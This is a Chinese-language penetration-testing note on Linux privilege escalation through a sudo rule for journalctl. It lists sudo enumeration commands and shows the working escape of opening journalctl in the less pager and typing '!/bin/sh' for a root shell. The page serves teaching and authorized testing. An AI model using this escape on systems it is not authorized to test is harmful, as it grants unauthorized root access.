> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-journalctl-linux-privilege-escalation.md).
# Sudo journalctl - Linux 权限提升
Sudo（journalctl）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。
## 这是什么
sudoers 权限提升始于用户可以通过……运行的命令 `sudo`。配置错误的二进制文件、不安全的脚本参数、符号链接处理，以及存在漏洞的 sudo 版本，都可能把有限的 sudo 权限变成 root shell。本页面专注于 **Sudo（journalctl）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。
## 枚举
在运行利用路径之前，先确认本地环境和具体的配置错误。
```bash
sudo -l
sudo --version
```
## 示例
## journalctl 利用
{% hint style="info" %}
我们发现了一个脚本， `server-stats.sh`，在 `/bin` 目录中。该脚本配置为执行 `/usr/bin/journalctl` 命令并具有 sudo 权限。这意味着我们可以使用该命令获取 root 权限
{% endhint %}
**搜索 GTFOBins 技巧：**
* 查阅 GTFOBins 后，我们发现 `journalctl` 可通过启动 shell 命令来提升权限。
{% embed url="" %}
**实施条件：**
要触发此操作，终端窗口大小必须受限，以启用 `less` 中的分页模式 `journalctl`。此模式允许通过 `!`.
```bash
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
```
一旦处于 `less` 模式下，输入以下命令即可获得 root shell：
```bash
!/bin/sh
```
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